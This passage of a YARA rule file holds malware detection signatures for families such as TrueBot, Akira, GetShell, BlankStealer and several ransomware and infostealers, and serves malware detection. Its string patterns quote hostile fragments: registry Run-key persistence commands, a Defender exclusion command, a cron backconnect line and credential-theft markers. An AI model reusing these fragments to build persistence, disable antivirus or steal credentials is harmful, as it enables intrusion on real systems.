		$s9 = "%s\\%lu.zip" fullword ascii
		$s10 = "\\??\\%programdata%\\" wide
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Invalidprinter : FILE
{
	meta:
		description = "Invalid Printer (in2al5d p3in4er) Loader"
		author = "ditekSHen"
		id = "9b0a59e1-8105-5687-83b2-fb96229f59f9"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9772-L9782"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d14d53b2a73952244641f4e68a3dd5af8cb1e2bfc5936f300f9347b4881ceeb8"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.InvalidPrinter"
	strings:
		$s1 = "in2al5d p3in4er" fullword ascii
		$s2 = "CreateDXGIFactory" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 15000KB and all of them
}

rule DITEKSHEN_MALWARE_Win_Truebot : FILE
{
	meta:
		description = "Detects TrueBot"
		author = "ditekSHen"
		id = "7210a0bd-d310-55bf-bb0c-14cadb59bd67"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9807-L9827"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a92141ef0aa7d68b3594a0f56c0370498fe5751a472c9011ac8b92ae46e88e53"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "%s\\rundll32.exe" fullword wide
		$s2 = "ChkdskExs" fullword wide
		$s3 = "n=%s&o=%s&a=%d&u=%s&p=%s&d=%s" ascii
		$s4 = "KLLS" fullword ascii
		$s5 = "%s\\%08x-%08x.ps1" fullword ascii
		$s6 = ".JSONIP" ascii
		$s7 = "CreateProcessAsUserW res %d err %d" fullword ascii
		$s8 = "ldr_sys64.dll" fullword ascii
		$s9 = "SVCHOST" fullword ascii
		$s10 = "WINLOGON" fullword ascii
		$s11 = { 67 6f 6f 67 6c 65 2e 63 6f 6d 00 00 00 00 00 00 
                2f 00 63 00 20 00 64 00 65 00 6c 00 20 00 00 00 
                20 00 3e 00 3e 00 20 00 4e 00 55 00 4c 00 }
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Dotrunpex : FILE
{
	meta:
		description = "Detects dotRunpeX injector"
		author = "ditekSHen"
		id = "4845edc1-110c-59a2-ace0-57a62b1e69e8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9906-L9918"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d7f802f233b2b4ff2c250bb8e96649f307bbb3457c78004751401b3ea7f531a0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" fullword wide
		$s2 = "KoiVM" ascii
		$s3 = "RunpeX.Stub.Framework" wide
		$s4 = "ExceptionServices.ExceptionDispatchInfo" wide
		$s5 = "Kernel32.Dll" wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Cyberstealer : FILE
{
	meta:
		description = "Detects CyberStealer infostealer"
		author = "ditekSHen"
		id = "cb02013f-ffb2-5a17-9d6e-1d19b0e98fb8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9920-L9941"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "72413b68fa1381656202165dcd878761727e7caf0f15ccd65f3f2f842243a1f6"
		score = 75
		quality = 71
		tags = "FILE"
	strings:
		$x1 = "\\Cyber Stealer\\" ascii
		$s1 = "[Virtualization]" fullword wide
		$s2 = "\"encryptedPassword\":\"([^\"]+)\"" fullword wide
		$s3 = "CreditCard" fullword ascii
		$s4 = "DecryptPassword" fullword ascii
		$s5 = "_modTime" fullword ascii
		$s6 = "_pathname" fullword ascii
		$s7 = "_pathnameInZip" fullword ascii
		$s8 = "GetBookmarksDBPath" fullword ascii
		$s9 = "GrabberImages" fullword ascii
		$r1 = "^1[a-km-zA-HJ-NP-Z1-9]{25,34}$" wide
		$r2 = "^3[a-km-zA-HJ-NP-Z1-9]{25,34}$" wide
		$r3 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" wide
		$r4 = "^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and ( 2 of ( $s* ) or 2 of ( $r* ) ) ) or 7 of ( $s* ) or ( 5 of ( $s* ) and 2 of ( $r* ) ) or ( all of ( $r* ) and 4 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Ducktail : FILE
{
	meta:
		description = "Detects DuckTail"
		author = "ditekSHen"
		id = "2d1a8f9e-ed5f-53fa-8ba8-b6d1344f6d39"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9963-L9991"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a416212e5f87b33fdc14590c3d6d6ebc2915c2b383adf78d660c9408beb2323f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "&global_scope_id=" wide
		$s2 = "#ResolveMyIpAll" wide
		$s3 = "#ApproveInvitesHandler" wide
		$s4 = "#ProcessShareCok" wide
		$s5 = "#InviteEmpHandler" wide
		$s6 = "__activeScenarioIDs=%" wide
		$s7 = "&__a=1&fb_dtsg=" wide
		$s8 = "adAccountLimit\":(.*?)}" wide
		$s9 = "|PUSH|" fullword wide
		$s10 = "|SCREEN|" fullword wide
		$s11 = "|SCREEC|" fullword wide
		$s12 = "_ad_accounts>k__" ascii
		$s13 = "get_Pwds" fullword ascii
		$s14 = "Telegram.Bot" ascii
		$s15 = { 2f 00 7b 00 43 00 59 00 52 00 7d 00 2e 00 74 00
               78 00 74 00 00 15 2f 00 7b 00 4c 00 4f 00 47 00
               7d 00 2e 00 74 00 78 00 74 00 00 15 2f 00 7b 00
               43 00 46 00 47 00 7d 00 2e 00 74 00 78 00 74 00
               00 15 2f 00 7b 00 50 00 52 00 53 00 7d 00 2e 00
               74 00 78 00 74 00 00 15 2f 00 7b 00 53 00 43 00
               52 00 7d 00 2e 00 6a 00 70 00 67 }
	condition:
		uint16( 0 ) == 0x5a4d and 13 of them
}

rule DITEKSHEN_MALWARE_Win_Dlinjector07 : FILE
{
	meta:
		description = "Detects downloader injector"
		author = "ditekSHen"
		id = "244ad6fb-8769-5b57-84e2-66f51fccb32a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10009-L10025"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "aef43b59ef7d0d62a853280ec1588a48d6c21da5218b7fd7e6ab1aa0f048896b"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$x1 = "23lenrek[||]lldtn[||]daerhTemuseR[||]txetnoCdaerhTteS46woW[||]txetnoCdaerhTteS[||]txetnoCdaerhTteG46woW[||]txetnoCdaerhTteG[||]xEcollAlautriV[||]yromeMssecorPetirW[||]yromeMssecorPdaeR[||]noitceSfOweiVpamnUwZ[||]AssecorPetaerC" wide
		$l1 = "[||]" wide
		$r1 = "yromeMssecorPetirW" wide
		$r2 = "xEcollAlautriV" wide
		$r3 = "daerhTemuseR" ascii wide
		$r4 = "noitceSfOweiVpamnUwZ" wide
		$s1 = "Debugger Detected" fullword wide
		$s2 = "payload" fullword ascii
		$s3 = "_ENABLE_PROFILING" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or ( 1 of ( $l* ) and 2 of ( $r* ) ) or 6 of them )
}

rule DITEKSHEN_MALWARE_Linux_Gobrat : FILE
{
	meta:
		description = "Detects GobRAT"
		author = "ditekSHen"
		id = "0561fa99-24ee-5e02-ba54-17a1dd81daa4"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10044-L10062"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "070687c909b066e38f72b6421b77670e87476d7e1eb1ed8d41d027836629eb71"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "BotList" ascii
		$x2 = "BotCount" ascii
		$x3 = "/etc/services/zone/bot.log" ascii
		$x4 = "aaa.com/bbb/me" ascii
		$s1 = "encoding/gob." ascii
		$s2 = ".GetMacAddress" ascii
		$s3 = ".IpString2Uint32" ascii
		$s4 = ".RegisterLogFile" ascii
		$s5 = ".UniqueAppendString" ascii
		$s6 = ".NewDaemon" ascii
		$s7 = ".SimpleCommand" ascii
	condition:
		uint16( 0 ) == 0x457f and ( 3 of ( $x* ) or ( 2 of ( $x* ) and 3 of ( $s* ) ) or ( 1 of ( $x* ) and 5 of ( $s* ) ) or all of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Hakunamatata : FILE
{
	meta:
		description = "Detects HakunaMatata ransomware"
		author = "ditekSHen"
		id = "43ca40bb-9eb6-558e-977d-f1fff5659565"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10064-L10084"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b49705845e5440c3c1e47e196592ca2b31319d1af5265f2f954d3367e3d39d5c"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
		$s2 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" wide
		$s3 = "<RSAKeyValue><Modulus>" wide
		$s4 = "HAKUNA MATATA" ascii wide
		$s5 = "EXCEPTIONAL_FILE" ascii
		$s6 = "TRIPLE_ENCRYPT" ascii
		$s7 = "FULL_ENCRYPT" ascii
		$s8 = "TARGETED_EXTENSIONS" ascii
		$s9 = "CHANGE_PROCESS_NAME" ascii
		$s10 = "KILL_APPS_ENCRYPT_AGAIN" ascii
		$s11 = "<ALL_DRIVES>b__" ascii
		$s12 = "dataToEncrypt" ascii
		$s13 = "<RECURSIVE_DIRECTORY_LOOK>" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Twarbot : FILE
{
	meta:
		description = "Detect TWarBot IRC Bot"
		author = "ditekSHen"
		id = "3acae103-c8d8-5959-83fd-f47d33da350b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10106-L10121"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "6b1b0b92d2ea7adec58a4b0ac712384542d96dc8707b6f1f13df2d8150a03a7a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "TWarBot" fullword ascii
		$s1 = "PRIVMSG #" ascii
		$s2 = "C:\\marijuana.txt" fullword ascii
		$s3 = "C:\\rar.bat" fullword ascii
		$s4 = "C:\\zip.bat" fullword ascii
		$s5 = "software\\microsoft\\windows\\currentversion\\app paths\\winzip32.exe" ascii
		$s6 = "software\\microsoft\\windows\\currentversion\\app paths\\WinRAR.exe" ascii
		$s7 = "a -idp -inul -c- -m5" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 3 of ( $s* ) ) or 5 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_G0Crypt : FILE
{
	meta:
		description = "Detects G0Crypt / BRG0SNet / NovaGP ransomware"
		author = "ditekSHen"
		id = "c0dd8a1b-1aa6-50be-92c4-125eabaf3f9f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10123-L10156"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a678bbb02b82c34fb5e7bdce2e60b0da88f12b094e7ca3b74345814d0da5ce42"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$x1 = "G0Crypt/go/" ascii
		$x2 = "BRG0SNet" ascii
		$x3 = "/NovaGroup" ascii
		$x4 = "novagroup@onionmail.org" ascii nocase
		$x5 = "# Nova Group" ascii
		$f1 = "main.HaveRun" ascii
		$f2 = "main.FindFile" ascii
		$f3 = "main.deriveKey" ascii
		$f4 = "main.Pwd" fullword ascii
		$f5 = "/ClearBashFile" ascii
		$f6 = "/ClearUserTempFiles" ascii
		$f7 = "/KillProccess" ascii
		$f8 = "/Encryptor" ascii
		$f9 = "/NoDirEncrypt" ascii
		$f10 = "/RunCmdEexecutable" ascii
		$f11 = "/StopImportantServices" ascii
		$f12 = "/GetPwd" ascii
		$s1 = "\\$Recycle.Bin"
		$s2 = ".README.txt"
		$s3 = "\\BRSPATH.exe"
		$s4 = "taskkill /F /IM sql*"
		$s5 = "C:\\inetpub\\logs\\"
		$s6 = "shutdown /r"
		$s7 = ":\\Program Files\\VMware\\"
		$s8 = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Message /t REG_SZ /d"
		$s9 = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v DelLogSoft /t REG_SZ /d"
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or 7 of ( $f* ) or ( 1 of ( $x* ) and ( 5 of ( $f* ) or 5 of ( $s* ) ) ) or ( 6 of ( $f* ) and 4 of ( $s* ) ) or 12 of them )
}


rule DITEKSHEN_MALWARE_Linux_Akira : FILE
{
	meta:
		description = "Detects Akira Ransomware Linux"
		author = "ditekSHen"
		id = "3ac144b3-c747-58e5-bc75-b3f90786f404"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10245-L10264"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "3a00154e1cfc442718e753641d3706ffd4dd8465525d0bb2854f74dfb1cf5dd0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "https://akira" ascii
		$x2 = ":\\akira\\" ascii
		$x3 = ".akira" ascii
		$x4 = "akira_readme.txt" ascii
		$s1 = "--encryption_" ascii
		$s2 = "--share_file" ascii
		$s3 = { 00 24 52 65 63 79 63 6c 65 2e 42 69 6e 00 24 52 45 43 59 43 4c 45 2e 42 49 4e 00 }
		$s4 = " PUBLIC KEY-----" ascii
		$s5 = ".onion" ascii
		$s6 = "/Esxi_Build_Esxi6/./" ascii nocase
		$s7 = "No path to encrypt" ascii
		$s8 = "-fork" fullword ascii
	condition:
		uint16( 0 ) == 0x457f and ( 3 of ( $x* ) or ( 1 of ( $x* ) and 4 of ( $s* ) ) or 6 of ( $s* ) )
}



rule DITEKSHEN_MALWARE_Win_Espioloader : FILE
{
	meta:
		description = "Detects Espio loader and obfuscator"
		author = "ditekSHen"
		id = "fb2be984-abd6-5f71-b448-d41c9c3e35c5"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10438-L10451"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8ad77a50db48f12e6f6465652b24fc1daa56375bb27e37e0eead1bea55b89e0c"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.EspioLoader"
	strings:
		$pdb = /\\loader\\x64\\(Release|Debug)\\Espio\.pdb/ ascii
		$s1 = "obfuscatedPayload" fullword wide
		$s2 = "OBFUSCATEDPAYLOAD" fullword wide
		$s3 = "\\??\\C:\\Windows\\System32\\werfault.exe" fullword wide
		$s4 = "C:\\windows\\system32\\ntdll.dll" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( $pdb or 3 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Celestybinderloader : FILE
{
	meta:
		description = "Detects Celesty Binder loader"
		author = "ditekSHen"
		id = "9c3404b7-311c-565d-b0fa-cfa80ba97289"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10453-L10466"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8c9ffd48c9c8cd345dccfb48bcb345282f9978f7cf906a61e2ea81c48486b16d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\DarkCoderSc\\Desktop\\Celesty Binder\\Stub\\STATIC\\Stub.pdb" ascii
		$s2 = "DROPIN" fullword ascii wide
		$s3 = "EXEC" fullword ascii wide
		$s4 = "RBIND" fullword ascii wide
		$s5 = "%LAPPDATA%" fullword ascii wide
		$s6 = "%USERDIR%" fullword ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Bagle : FILE
{
	meta:
		description = "Detect Bagle / Beagle email worm"
		author = "ditekSHen"
		id = "32632bdf-6cf5-5542-8e1f-70686139a465"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10489-L10505"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4c3a09f10c792de1ab25001da29ea2fee84c583d49d9a5225817644aabde2dea"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "SOFTWARE\\DateTime" fullword ascii
		$s2 = "%s?p=%lu" fullword ascii
		$s3 = "-upd" ascii
		$s4 = "[%RAND%]" fullword ascii
		$s5 = "MAIL FROM:<%s>" fullword ascii
		$s6 = "RCPT TO:<%s>" fullword ascii
		$s7 = "Message-ID: <%s%s>" fullword ascii
		$s8 = "Content-Disposition: attachment; filename=\"%s%s\"" fullword ascii
		$s9 = "http://www.%s" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 8 of them
}

rule DITEKSHEN_MALWARE_Win_Ragestealer : FILE
{
	meta:
		description = "Detect Rage / Priv8 infostealer"
		author = "ditekShen"
		id = "dfc1abaa-d975-5e6a-ad4d-344031b0c40c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10507-L10522"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a26b86845bcd62d4a360a8dae9cfa56b5d96ebc521f224c18a01cc0a2bd958e9"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "\\RageStealer\\obj\\" ascii
		$x2 = "Priv8 Stealer" wide
		$s1 = "\\Screen.png" wide
		$s2 = "Content-Disposition: form-data; name=\"document\"; filename=\"{1}\"" wide
		$s3 = "NEW LOG FROM" wide
		$s4 = "GRABBED SOFTWARE" wide
		$s5 = "DOMAINS DETECTED" wide
		$s6 = "snder" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) and 4 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Abubasbanditbot : FILE
{
	meta:
		description = "Detects Abubasbandit Bot. Observed to drop cryptocurrency miner detected by MALWARE_Win_CoinMiner02"
		author = "ditekSHen"
		id = "8bedd1f7-bd77-5f26-8665-1d23fe56100f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10524-L10541"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "aae40178dadff720b42d211a025fd696eabdcc91761c6a91809f5f088c588c31"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "magickeycmd" ascii
		$x2 = "chat_id" ascii
		$x3 = "GetTempPathW" ascii
		$x4 = "Add-MpPreference" ascii
		$x5 = "-Command" ascii
		$s1 = "application/x-www-form-urlencoded" ascii
		$s2 = "gzip, deflate/index.html" ascii
		$s3 = "powershellAdd-MpPreference -ExclusionPath" ascii
		$s4 = "tar-xf-C" ascii
		$s5 = "temp_file.bin" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 4 of ( $x* ) and 2 of ( $s* ) ) or ( ( all of ( $s* ) and 3 of ( $x* ) ) ) or ( 8 of them ) )
}

rule DITEKSHEN_MALWARE_Win_Oracrat : FILE
{
	meta:
		description = "Detects OracRAT / Comfoo / Babar"
		author = "ditekSHen"
		id = "53f3778e-56d5-5390-8ce7-82d4ede46be4"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10543-L10557"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "078a5df9f3d0bb8213ea2fe28eefdb453ef186e6c1f62d3ba10cb04fca047700"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\\\.\\DevCtrlKrnl" fullword ascii
		$s2 = "SOFTWARE\\Microsoft\\IE4\\Setup" fullword ascii
		$s3 = "\\PLUGINS" fullword ascii
		$s4 = "\\config\\sam" fullword ascii
		$s5 = "\\iexplore.exe\" about:blank" fullword ascii
		$s6 = "usbak.sys" fullword ascii
		$s7 = "userctfm" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Simplepacker : FILE
{
	meta:
		description = "Detects Hydrochasma packer / dropper"
		author = "ditekSHen"
		id = "449f7531-408f-5bda-aa64-d148c363c3e5"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10627-L10638"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e2c07947fdf53814669250052f6cceb7412aa302422f3a0b430879da638c7e6a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$p1 = "\\cloud-compiler-" ascii
		$p2 = "\\deps\\simplepacker.pdb" ascii
		$s1 = "uespemosarenegylmodnarodsetybdetqueue" ascii
		$s2 = "None{\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $p* ) or ( 1 of ( $p* ) and all of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Multi_Golangbypassav : FILE
{
	meta:
		description = "Detect Go executables using GolangBypassAV"
		author = "ditekSHen"
		id = "bd41ff7e-ce57-5bee-b6ca-9341b4c1c1fa"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10679-L10689"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "842dfc7c04cbd19bbbc8b6fbf9d9925f81a21dfb713af4542ca4157d64fa5b51"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "MALWARE.Win.Trojan.GolangBypassAV"
		clamav2 = "MALWARE.Linux.Trojan.GolangBypassAV"
	strings:
		$s1 = "/GolangBypassAV/gen/" ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and 1 of them
}

rule DITEKSHEN_MALWARE_Win_Blankstealer : FILE
{
	meta:
		description = "Detects BlankStealer / BlankGrabber / Blank-c Stealer"
		author = "ditekSHen"
		id = "19686781-4be8-56c1-b606-d8fe14dbdc48"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10691-L10703"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "cc0c8d3e0061d192e445ef661387360644ab428a9e9fc2480e966db96bc8264c"
		score = 75
		quality = 75
		tags = "FILE"
		snort = "923829001"
	strings:
		$s1 = "Blank-c" ascii
		$s2 = "Stealer License" ascii
		$s3 = "UID=" ascii
		$h1 = { 42 6c 61 6e 6b 2d 63 0a 53 74 65 61 6c 65 72 20 4c 69 63 65 6e 73 65 0a 55 49 44 3d }
	condition:
		( uint16( 0 ) == 0x4152 and 2 of them ) or ( all of ( $s* ) or 1 of ( $h* ) )
}

rule DITEKSHEN_MALWARE_Linux_Getshell : FILE
{
	meta:
		description = "Detect GetShell Linux backdoor"
		author = "ditekSHen"
		id = "cccad93d-cd49-5237-96ac-66c9ac6ef532"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10705-L10725"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9d44ad2a3c270eed0e905402e8c32dcca54da90f4229d9d59874ee09b3b47277"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "MALWARE.Linux.Trojan.GetShell"
	strings:
		$x1 = "cat <(echo '@reboot echo socks5_backconnect" ascii
		$x2 = "(cd  && )') <(sed '/socks5_backconnect" ascii
		$s1 = "cat <(echo '@" ascii
		$s2 = "(cd  && )') <(sed '" ascii
		$s3 = "PORT1:" ascii
		$s4 = "HOST1:" ascii
		$s5 = "queryheader" ascii
		$s6 = "qsectionpost" ascii
		$s7 = "packedip" ascii
		$s8 = "copydata" ascii
		$s9 = "synsend" ascii
		$s10 = "bc_connect" ascii
	condition:
		uint16( 0 ) == 0x457f and ( ( all of ( $x* ) and 1 of ( $s* ) ) or 5 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Solarmarker : FILE
{
	meta:
		description = "Detects SolarMarker"
		author = "ditekSHen"
		id = "78c2f739-76b2-5a80-8b9a-6c677d578eaa"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10727-L10745"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "84182c8948c2f40439cd932885ae8b88bb677ecc9fba366f22d30e13dc4ffb68"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "token_type" fullword ascii
		$x2 = "request_data" fullword ascii
		$x3 = "request_timeout" fullword ascii
		$x4 = { 74 6f 6b 65 6e 73 00 66 72 6f 6d 00 74 6f 00 73 5f (66|72) }
		$s1 = "set_UseShellExecute" fullword ascii
		$s2 = "<Select>b__0" fullword ascii
		$s3 = "<get>b__e" fullword ascii
		$s4 = "<get>b__10" fullword ascii
		$s5 = "<get>b__f" fullword ascii
		$s6 = "<set>b__0" fullword ascii
		$s7 = "<set>b__1" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) and 4 of ( $s* ) )
}

